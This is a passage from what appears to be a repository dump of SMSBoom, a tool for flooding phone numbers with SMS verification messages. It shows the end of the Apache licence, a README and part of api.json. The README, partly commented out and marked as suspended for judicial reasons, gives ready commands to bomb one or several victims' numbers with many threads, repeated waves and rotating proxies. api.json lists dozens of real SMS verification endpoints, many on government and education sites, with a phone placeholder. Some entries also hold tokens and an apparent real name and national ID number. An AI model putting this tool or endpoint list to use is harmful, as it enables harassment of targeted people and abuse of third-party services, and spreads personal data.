modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright 2022 WhaleFall\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "README.md",
    "content": "# SMSBoom - Deprecate\n\n> **Due to judicial reasons, the repository has been suspended!**  \n> **倉庫は司法上の理由で停止された。**-- Japenese  \n> **由于司法原因，此仓库被停用！**-- Simplified Chinese  \n> **由於司法原因，此倉庫被停用！** -- Traditional Chinese\n\nFor more details, please check: [HK JUDICIARY](https://www.judiciary.hk/zh/home/index.html)\n\n![HK JUDICIARY](https://www.judiciary.hk/images/logo_big.png)\n\nHK JUDICIARY 2024/3/20\n\n<!--\n![test](img/test2.gif)\n\n## 免责声明\n\n1. 使用此程序请遵守当地的法律法规，禁止滥用、恶意使用，**触犯法律所造成的问题均由使用者承担**。  \n2. 本程序仅供娱乐,源码全部开源,**禁止滥用** 和二次 **禁止用于商业用途**.\n\n## Repair - TODO\n\n1. 修改文档\n2. 修缮主要功能\n3. 修缮后端使用 FastAPI 前端使用 vue3 elementUI\n4. GUI 使用 web 技术\n\n## Feature\n\n1. 通过自定义 `api.json` 的方式定义接口.  \n2. 支持关键字替换. **时间戳** `[timestamp]` **手机号** `[phone]`  \n3. 多线程/异步 请求.  \n4. 通过 Flask 提供网页测试/添加接口.  \n5. 友好的命令行参数支持.  \n6. 采用方便的 pipenv 包管理.  \n7. 通过代理调用短信接口, 支持 http, socks4, socks5代理.\n8. 使用随机的 User-Agent.\n9. 可指定轰炸次数, 轰炸间隔时间.\n\n## Quick Start\n\n### 适用于小白\n\n✨本项目已经使用 `pyinstaller` 打包成 `EXE` 可执行文件!免去部署 Python 环境的烦恼,适合用于小白白.  \n\n🔨作者的打包环境为: `Windows 10 x64 Python3.8` 如果 Windows 系统不是 **Windows 10 64位** 版本,**可能会运行失败**! 如果出现异常报错请截图发 Issue.\n\n#### Step1. 下载 EXE 可执行文件\n\n 请移步到项目的 [release页](https://github.com/OpenEthan/SMSBoom/releases) 下载\n\n > 若遇到国内网络环境下载不下来,请参见 [https://github.do/](https://github.do/) 等加速镜像.\n\n#### Step2 运行  \n\n1. 在任意盘(**除C盘外**)中新建一个文件夹.将程序移动到其中. e.g.  \n![img](https://cdn.jsdelivr.net/gh/OpenEthan/SMSBoom@master/img/e.g.1.png)\n\n2. `Win`+`R` 打开cmd.输入存放的盘符.例如: `E:` 然后cd到文件夹,例如 `cd SMS`\n![img](https://cdn.jsdelivr.net/gh/OpenEthan/SMSBoom@master/img/cmd1.png)\n\n3. 确认 cmd 路径是 EXE 所在路径后,cmd 输入:`smsboom_pyinstall.exe`,若出现命令提示,则说明脚本已正常运行.\n![img](https://cdn.jsdelivr.net/gh/OpenEthan/SMSBoom@master/img/cmd2.png)\n\n4. 使用前必须更新一遍最新接口\n\n```shell\nsmsboom_pyinstall.exe update\n```\n\n> 若更新接口出现错误 `ssl_`, 请参见 [issue](https://github.com/OpenEthan/SMSBoom/issues/2) **关闭代理软件**再 update.\n\n5. 传递命令示例\n\n启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),只轰//炸一波。\n\n```shell\nsmsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx\n```\n\n启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次\n\n```shell\nsmsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60\n```\n\n启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒\n\n```shell\nsmsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 -i 30\n```\n\n启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒, 开启代理列表进行轰炸\n\n```shell\nsmsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 -i 30 -e\n```\n\n启动64个线程,轰//炸多个人的手机号(138xxx,139xxxx),启动循环轰//炸, 轮番轰炸60次, 每次间隔30秒, 开启代理列表进行轰炸\n\n```shell\nsmsboom_pyinstall.exe run -t 64 -p 138xxxxxxxx -p 139xxxxxxxx -f 60 -i 30 -e\n```\n\n### Development\n\n1. Download 下载项目\n\n```shell\ngit clone https://github.com/AdminWhaleFall/SMSBoom.git/\n```\n\n2. 配置虚拟环境 Deploy Virtual Envirement  \n\n**前提条件:** 请确保自己的电脑有 `python3.x` 的环境,推荐使用 `3.8` 及以上!  \n\n#### 使用 pipenv\n\n1. 安装 pipenv 包管理工具.  \n\n```shell\npip install pipenv\n```\n\n2. 为项目构建虚拟环境.  \n\n```shell\npipenv install  # 仅使用轰//炸功能\npipenv install --dev # 使用 webui 调试接口功能.\n```\n\n3. 尝试运行 smsboom.py  \n\n```shell\npipenv shell # 激活虚拟环境\npython smsboom.py  # linux\n```\n\n若无报错，输出帮助信息，则说明环境已经正确安装。若报错请使用方案二\n\n#### 不使用虚拟环境\n\n1. 安装所需要的库\n\n```shell\npip install -r requirements.txt # 仅使用轰//炸\npip install -r requirements-dev.txt # 使用 webui\n```\n\n2. 尝试运行 smsboom.py\n\n```shell\npython smsboom.py\n```\n\n若无报错，输出帮助信息，则说明环境已经正确安装。\n\n#### 使用 Docker 运行\n\n##### 方式一: 一键运行\n\n```shell\ndocker run --rm lanqsh/smsboom run -t 1 -p {PHONE} -i 1\n```\n\n##### 方式二: 自建镜像\n\n**前提条件:** 请确保当前环境已安装 [Docker](https://docs.docker.com/get-docker/).\n\n1. 构建镜像\n\n```shell\ndocker build -t whalefell/smsboom .\n```\n\n2. 尝试运行\n\n```shell\ndocker run --rm whalefell/smsboom:latest --help\n\nUsage: smsboom.py [OPTIONS] COMMAND [ARGS]...\n\nOptions:\n  --help  Show this message and exit.\n\nCommands:\n  asyncrun  以最快的方式请求接口(真异步百万并发)\n  onerun    单线程(测试使用)\n  run       传入线程数和手机号启动轰炸,支持多手机号\n  update    从 github 获取最新接口\n```\n\n#### 运行  \n\n若使用虚拟环境,请先激活. `pipenv shell`\n\n```shell\n# 输出帮助信息\npython smsboom.py --help\n\nUsage: smsboom.py [OPTIONS] COMMAND [ARGS]...    \nOptions:\n--help  Show this message and exit.\nCommands:\nrun     传入线程数和手机号启动轰//炸,支持多手机号\nupdate  从 github 获取最新接口\n```\n\n- 启动轰//炸  \n\n帮助信息:\n\n```shell\npython smsboom.py run --help\n\nUsage: smsboom.py run [OPTIONS]\n\n传入线程数和手机号启动轰//炸,支持多手机号\n\nOptions:\n-t, --thread INTEGER       线程数(默认64)\n-p, --phone TEXT           手机号,可传入多个再使用-p传递  [required]\n-f, --frequency INTEGER    执行次数(默认1次)\n-i, --interval INTEGER     间隔时间(默认60s)\n-e, --enable_proxy BOOLEAN 开启代理(默认关闭)\n--help                     Show this message and exit.\n```\n\n### 使用代理\n\n本项目不能通过API自动获取代理, 你可以从下面的免费代理网站中手动获取代理, 或是选择使用自己的代理, 或是不使用代理.\n\n> [https://proxyscrape.com/free-proxy-list](https://proxyscrape.com/free-proxy-list)\n\n> [https://openproxy.space/list](https://openproxy.space/list)\n\n将代理添加到 `http_proxy.txt` `socks4_proxy.txt` `socks5_proxy.txt` 三个文件中, 命令参数添加 `-e` 执行即可.\n\n-->\n\n## Donation / Sponsor\n\nDonation is not available at the moment.\n暂时不开放赞助\n\n## Star ♥  Trend\n\n<img src=\"https://starchart.cc/OpenEthan/smsboom.svg\">\n\n## ✨Discussion\n\n欢迎加入讨论对项目提出问题和建议！！！mua!\n\n\n"
  },
  {
    "path": "api.json",
    "content": "[\n    {\n        \"desc\": \"福州久邻信息\",\n        \"url\": \"https://yjhi.jihesh.com/api/app/code\",\n        \"method\": \"POST\",\n        \"header\": {\n            \"Content-Type\": \"application/json;charset=utf-8\"\n        },\n        \"data\": {\n            \"token\": \"\",\n            \"platform\": \"APP\",\n            \"lang\": \"zh-CN\",\n            \"phone\": \"[phone]\",\n            \"event\": \"reg\"\n        }\n    },\n    {\n        \"desc\": \"卡饭信息安全\",\n        \"url\": \"https://pdf.kfsafe.cn/sms/phone/code\",\n        \"method\": \"POST\",\n        \"header\": {\n            \"Content-Type\": \"application/json;charset=utf-8\"\n        },\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"彩云小译\",\n        \"url\": \"https://biz.caiyunapp.com/v1/send_sms_code\",\n        \"method\": \"POST\",\n        \"header\": {\n            \"Referer\": \"https://fanyi.caiyunapp.com/\",\n            \"Cy-Token\": \"token 9876032166\"\n        },\n        \"data\": {\n            \"phone_num\": \"[phone]\",\n            \"area_code\": \"86\"\n        }\n    },\n    {\n        \"desc\": \"网易云游戏\",\n        \"url\": \"https://n.cg.163.com/api/v1/phone-captchas/86-[phone]\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"etc\": {\n                \"validate\": \"\"\n            }\n        }\n    },\n    {\n        \"desc\": \"果壳app\",\n        \"url\": \"https://guokrapp-apis.guokr.com/hawking/v1/verifications\",\n        \"method\": \"POST\",\n        \"header\": {\n            \"User-Agent\": \"android 2.0.15\",\n            \"Client-Source\": \"android;23;Android;MuMu\",\n            \"Client-Channel\": \"gkchannel_QD009\",\n            \"Content-Type\": \"application/json; charset=UTF-8\"\n        },\n        \"data\": {\n            \"dial_code\": \"0086\",\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"踢米app\",\n        \"url\": \"https://www.timing360.com/user/send-captcha\",\n        \"method\": \"POST\",\n        \"header\": {\n            \"Authorization\": \"7119181942667E7D85987C65A6D0B8EC\",\n            \"Content-Type\": \"application/x-www-form-urlencoded\"\n        },\n        \"data\": \"_app_version=10.13.2&_carrier=&_city=&_country=&_country_code=&_date=2022-04-05&_device_id=b6ad5aabe403d839&_device_manufacturer=Netease&_device_model=MuMu&_device_os=Android&_device_os_version=6.0.1&_distinct_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_ip=&_is_login_id=0&_login_method=phone&_network_type=WIFI&_province=&_screen_height=2000&_screen_width=1125&_time=2022-04-05%2021%3A21%3A13&_user_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_wifi=1&adCode=&brand=Android&city=&cityCode=&countryCode=86&imei=861151055733959&isCheckPhoneExist=0&latitude=&longitude=&market=yyb&nonce=708380&os=6.0.1&osType=1&phoneModel=MuMu&phoneNumber=[phone]&sessionId=e1c69361-c78b-4f4d-8c98-938ba4eccff6×tamp=[timestamp]&userID=-709178027&userKey=11111111111111111111111111111111&versioncode=187\"\n    },\n    {\n        \"desc\": \"微爱app\",\n        \"url\": \"http://api.welove520.com/v5/account/phone/verifyCode/send?phone_number=[phone]&client_id=464847866_[timestamp]&type=6&area_code=86&app_key=ac5f34563a4344c4&sig=xvP64W04tR%2FNJoZEJEoJySmlIXU%3D\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"返利app(24小时限制)\",\n        \"url\": \"https://passport.fanli.com/mobileapi/i/user/mobileFastReg?jsoncallback=jQuery21105357980471043338_[timestamp]&mobile=[phone]&countrycode=86&mobilestep=1&_=[timestamp]\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"酷安(一天只能一次)\",\n        \"url\": \"https://account.coolapk.com/auth/login?type=mobile\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": \"submit=1&requestHash=c2592a6dr9x510&country=86&mobile=[phone]&captcha=&randomNumber=0undefined7952784010774208\"\n    },\n    {\n        \"desc\": \"广东高考报名web\",\n        \"url\": \"https://pg.eeagd.edu.cn/ks/public/kszc/zcyzm.jsmeb\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": \"[phone]\"\n    },\n    {\n        \"desc\": \"广东教育翔云\",\n        \"url\": \"https://gl.gdedu.gov.cn/api-service/captcha?phoneNumber=[phone]&captchaType=QUERY_ADMIN\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"迪卡侬\",\n        \"url\": \"https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"countryCode\": \"CN\",\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"股海网\",\n        \"url\": \"https://www.guhai.com.cn/front/member/sendSmsCode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"LLL的个人blog\",\n        \"url\": \"http://www.lll.plus/sendCode/\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"tel\": \"[phone]\",\n            \"forgetPwd\": \"\"\n        }\n    },\n    {\n        \"desc\": \"企米子\",\n        \"url\": \"https://www.xcxui.com/index/register/getcode.html\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"tel\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"蒲公英\",\n        \"url\": \"https://id.pgyer.com/user/getRegisterCode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"tel\": \"[phone]\",\n            \"callingCode\": \"86\",\n            \"mode\": \"tel\"\n        }\n    },\n    {\n        \"desc\": \"百卓优采\",\n        \"url\": \"https://erp.abiz.com/mobilecode/sendMobileCode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\",\n            \"captcha\": \"\"\n        }\n    },\n    {\n        \"desc\": \"云背篓\",\n        \"url\": \"https://brand.yunbeilou.com/index.php/smssend\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\",\n            \"v\": \"yes\"\n        }\n    },\n    {\n        \"desc\": \"PHP中文网\",\n        \"url\": \"https://m.php.cn/account/phone_code.html\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"12321\",\n        \"url\": \"http://dhba.12321.cn/api/verifycode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"Testin众测\",\n        \"url\": \"https://www.ztestin.com/users/send/vercode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\",\n            \"type\": \"register\",\n            \"voice\": \"0\"\n        }\n    },\n    {\n        \"desc\": \"海尔\",\n        \"url\": \"http://maker.haier.net/client/user/sendregistervcode.html\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"account\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"飞猫云\",\n        \"url\": \"https://www.feimaoyun.com/index.php/invite/h5sendmsg\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"pcode\": \"+86\",\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"华觉数字化平台\",\n        \"url\": \"https://end.huajuetech.com/api/sendCode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\",\n            \"email\": \"null\",\n            \"verfy_method\": \"mobile\"\n        }\n    },\n    {\n        \"desc\": \"问政江西\",\n        \"url\": \"https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"河南智慧党建\",\n        \"url\": \"http://api.hndyjyfw.gov.cn/djapi/mobileVerify\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\",\n            \"verifytype\": \"1\"\n        }\n    },\n    {\n        \"desc\": \"陆陆陆云安全\",\n        \"url\": \"https://cloud.666idc.com/index/login/sendsms.html\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\",\n            \"mobile_pre\": \"86\"\n        }\n    },\n    {\n        \"desc\": \"网易\",\n        \"url\": \"https://dz.blizzard.cn/action/user/mobile/captcha\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"码云社\",\n        \"url\": \"https://www.codeseeding.com/loginUser/toSend\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"人才山东\",\n        \"url\": \"http://sso.rcsd.cn/regist/getVerifyCode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"personcall\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"水利部\",\n        \"url\": \"http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"七联大学\",\n        \"url\": \"http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phoneNumber\": \"[phone]\",\n            \"sendType\": \"0\"\n        }\n    },\n    {\n        \"desc\": \"闪德资讯\",\n        \"url\": \"https://www.0101ssd.com/user/sendmsg\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\",\n            \"event\": \"register\"\n        }\n    },\n    {\n        \"desc\": \"江苏省名师空中课堂\",\n        \"url\": \"https://mskzkt.jse.edu.cn/baseApi/user/code/\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\",\n            \"type\": \"1\"\n        }\n    },\n    {\n        \"desc\": \"CSFF短片\",\n        \"url\": \"https://csff.cutv.com/wapi/users/sendregcode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"telphone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"广西人社厅\",\n        \"url\": \"http://rswb.gx12333.net/member/getRegisterphoneCode.jspx\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"aae005\": \"[phone]\",\n            \"aac003\": \"刘萌萌\",\n            \"aac002\": \"210212198506035924\",\n            \"notkeyflag\": \"1\"\n        }\n    },\n    {\n        \"desc\": \"麦克赛尔数字映像\",\n        \"url\": \"https://www.maxell-dm.cn/Code/CheckImage.aspx\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"action\": \"send\",\n            \"txtMember_Name\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"宝提分\",\n        \"url\": \"http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"选型系统\",\n        \"url\": \"http://www.cnppump.ltd/Service/UserHandler.ashx\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {\n            \"cmd\": \"GetTelVerifyCode\",\n            \"Tel\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"千里马网信科技\",\n        \"url\": \"http://vip.qianlima.com/rest/u/api/user/register/mobile/code\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"tips\": \"1\",\n            \"shouji\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"保定云\",\n        \"url\": \"https://baodingyun.com.cn/register/send_registerSMS.html\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"欢动游戏\",\n        \"url\": \"http://www.gm5.com/auth/registerSms.html\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"迈威\",\n        \"url\": \"https://www.maiwe.com.cn/index/sendcode.html\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {\n            \"tel\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"憨鼠社区\",\n        \"url\": \"https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"天鹅到家\",\n        \"url\": \"https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"诺达筑工\",\n        \"url\": \"http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"栋才智慧\",\n        \"url\": \"http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"工伤预防网上培训平台\",\n        \"url\": \"http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"济宁专技\",\n        \"url\": \"https://sdjn-web.yxlearning.com/sendphoneCode.gson\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\",\n            \"sendType\": \"4\"\n        }\n    },\n    {\n        \"desc\": \"宁夏伊地地质工程有限公司\",\n        \"url\": \"http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"青春大学说\",\n        \"url\": \"http://zycp.qcdxs.com:5001/sms/sendsms\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone_number\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"兴业利达电子招投标平台\",\n        \"url\": \"https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"username\": \"[phone]\",\n            \"type\": \"regUser\",\n            \"mobile\": \"PC\"\n        }\n    },\n    {\n        \"desc\": \"火象\",\n        \"url\": \"https://v1.alphazone-data.cn/academy/api/v1/sendsms\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"temp\": \"1\",\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"中科教育\",\n        \"url\": \"https://www.vipexam.cn/user/identifyingCode.action\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"聚题库\",\n        \"url\": 